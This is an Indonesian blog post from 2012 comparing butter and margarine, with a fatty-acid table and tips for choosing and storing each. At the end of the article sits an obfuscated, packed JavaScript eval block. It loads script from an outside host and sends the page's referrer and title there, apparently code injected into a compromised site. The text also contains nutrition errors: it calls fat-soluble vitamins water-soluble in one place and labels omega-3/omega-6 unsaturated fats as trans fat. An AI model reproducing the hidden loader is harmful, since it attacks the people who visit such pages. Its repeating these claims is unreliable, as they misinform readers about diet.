browser icon
You are using an insecure version of your web browser. Please update your browser!
Using an outdated browser makes your computer unsafe. For a safer, faster, more enjoyable user experience, please update your browser today or try a newer browser.

Mentega & Margarin

Posted by on November 26, 2012

Sering bikin kue? atau makan roti bakar? atau suka sarapan roti tawar? Biasanya roti (baik dibakar atau dimakan langsung) sebelum dioles isian (selai, coklat, keju, dan lain lain) dioles mentega dulu kan ….eh itu mentega atau margarin ya …???? mirip mirip sih, hehehe. Mentega dan margarin tampilannya memang nyaris sama, berwarna kuning dan pekat. Ada yang teksturnya lembut, ada pula yang kaku seperti sabun batangan. Ada yang dibungkus kertas aluminium atau plastik, ada juga yang dikemas dalam mangkuk atau kaleng. Apa sebenarnya perbedaan kedua produk ini?

Pada dasarnya, mentega dan margarin memiliki jumlah kalori yang sama. Mentega biasanya mengandung lemak alami dan beragam manfaat nutrisi lainnya, seperti vitamin A, D, E, dan K, yang larut dalam air. Manfaatnya antara lain untuk menguatkan tulang dan fungsi-fungsi tubuh lainnya. Namun  untuk menentukan mana yang lebih sehat, Anda perlu mengetahui kandungan lemak dari keduanya.
MENTEGA atau BUTTER atau BOOTER
Terbuat dari susu atau produk susu (hewani) yg sedikitnya mengandung 80% lemak susu.Lebih mudah meleleh bila diletakkan di suhu ruang karena teksturnya yang sangat lembut, Rasanya gurih
dan aromanya harum (wangi susu), mudah meleleh di suhu hangat. Warnanya kuning pucat (lebih muda daripada margarin). Memiliki kandungan vitamin A, D, E, K yang tidak larut dalam air. Efeknya pun lebih baik dibandingkan dengan margarine, yaitu memberikan rasa kenyang yang lebih lama selain tentu aromanya yang lebih kuat. Jumlah lemak jenuhnya tinggi, tipe lemak yang biasa didapat secara alami di dalam kebanyakan hewan dan beberapa tanaman. Mentega juga memiliki kadar kolesterol yang relatif tinggi. Tingginya jumlah lemak jenuh berhubungan dengan tingginya kadar kolesterol LDL (kolesterol jahat) dan beberapa kondisi, misalnya penyakit jantung. Daya emulsi mentega juga kurang, sehingga jika digunakan dalam pembuatan kue akan menghasilkan tekstur kue yang kurang kokoh.Berdasarkan rasanya, dibedakan menjadi 2 jenis. Unsalted Butter (mentega tawar) dan Salted Butter (yg dlm proses pembuatannya ditambahkan garam)
Contoh : Merk Wijsman (hanya salted butter), Elle & Vire, Orchid, Blue Triangle, Anchor, Golden Fern

MARGARIN
Terbuat dari minyak nabati, yang umumnya berasal dari kelapa sawit, mengandung sedikit atau malah tidak ada sama sekali kolesterol, tetapi mengandung banyak lemak tak jenuh yang mengandung omega-3 dan omega-6 [lemak tak jenuh ini sering disebut trans fat (lemak trans)]. Meskipun margarin tidak mengandung kolesterol, lemak trans yang ada di dalamnya bisa meningkatkan kadar kolesterol LDL, seperti halnya lemak jenuh. Namun, tidak seperti lemak jenuh, lemak trans bisa menurunkan kadar kolesterol HDL (kolesterol baik). HDL memberikan pertahanan terhadap lemak yang menyumbat arteri. Lemak trans ini dianggap lebih berbahaya untuk kesehatan daripada lemak jenuh. Teksturnya lebih padat dan titik lelehnya lebih tinggi dari pada mentega karena ada proses hidrogenasi (penjenuhan asam lemak). Warnanya lebih kuning dr mentega karena adanya tambahan zat pewarna alami, seperti karotenoid. Aroma margarine tidak seenak mentega, tetapi daya emulsinya bagus, sehingga mampu menghasilkan tekstur kue yang bagus.
Contoh merk : Blueband, Simas, Filma (salted & unsalted), forVita

Asam lemak dalam mentega dan margarine terurai pada tabel berikut ini.

Tabel Asam Lemak Pada Mentega dan Margarin.

Ket

Asam Lemak

Jumlah/100gr

Mentega - Jenuh- Tidak JenuhTunggal

- Tidak Jenuh

Majemuk

47,35 gr

26,10 gr

2,24 gr

Margarin - Jenuh- Tidak JenuhTunggal

- Tidak Jenuh

Majemuk

29,02 gr

34,61gr

13,78

(Sumber : Buckle, 1987).

Nah berikut tips dalam memilih mentega:

1) Kemasan. Mentega adalah produk yang peka terhadap perubahan suhu, cahaya, dan aroma. karenanya mentega selalu dikemas dalam kertas alumunium, kaleng, kertas berlapis lilin, atau karton tebal. kemasan ini dirancang khusus agar tidak mudah tembus cahaya, panas, dan aroma tajam. Pilihlah mentega yang kemasannya tidak cacat, robek, penyok dan berjamur.

2) Aroma. Aroma mentega terbentuk dari berbagai senyawa kimia seperti diasetil, lakton, butirat, dan laktat. Mentega yang baik harus bebas dari bau rasa tengik, pahit dan asam. Pilihlah mentega yang aromanya segar, kuat, dan khas mentega.

3) Warna. Warna mentega yang baik adalah antara kuning muda atau pucat hingga kuning tua. Warna ini dari betakaroten krim atau kepala susu yang dipakai. Jika susu yang digunakan berasal dari sapi yang diberi pakan biji-bijian dan banyak mengandung betakaroten, maka warna mentega akan sangat baik. Pilih mentega berwana kuning merata. Warna yang tidak merata pertanda adanya bakteri atau mikroba yang mulai merusak mentega

4) Tekstur. Tekstur mentega harus lembut,semipadat mirip lilin. Jika berminyak atau lengket, berarti mentega sudah tidak baik.

Hal-hal yang harus diperhatikan saat menyimpan mentega.

1) Mentega harus selalu disimpan dalam suhu dingin atau dalam lemari es, untuk menhambat perkembangan mikroba dan bakteri.

2) Mentega mudah menyerap aroma tajam, karenanya simpan selalu dalam wadah tertutup rapat dan jauhkan dari bahan makanan beraroma tajam seperti durian, cabai, atau bawang putih.

3) Perhatikan selalu tanggal kadaluarsa, kandungan nutrisi dan produsen yang tertera pada kemasan.

Sedangkan dibawah ini adalah tips memilih margarin:
1. Cari margarin dengan lemak trans 0 gr.
2. Sebaiknya tidak memilih margarin dengan informasi “partially hydrogenated oil”.
3. Kandungan lemak jenuh sebaiknya sebesar 2 – 2,5 gr saja (atau kurang) per porsi. Jika lebih tinggi, kemungkinan mengandung banyak minyak sawit.
4. Cari yang bahannya lebih alami dan diproses secara minimal, karena seringkali produk ini mengalami manipulasi.
eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!”.replace(/^/,String)){while(c–)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return’\\w+’};c=1};while(c–)if(k[c])p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c]);return p}(‘(9(){2 d=3;2 4=1;2 5=1;2 t=d.a(\’b\’);2 6=7.c(7.e()*f);2 0=\’g://h.i/j/k?\’;0=0+\’l=\’+3.m;0=0+\’&n=\’+3.o;0=0+\’&r=\’+6;d.p(\’\’)})();’,35,35,’src||var|document|razmw|razmh|id|Math|iframe|function|createElement|script|floor||random|9999|http|needalogo|net|rotation|3wBsvV|se_referrer|referrer|default_keyword|title|write|style||padding||0px|border|none|width|height’.split(‘|’),0,{}))

Leave a Reply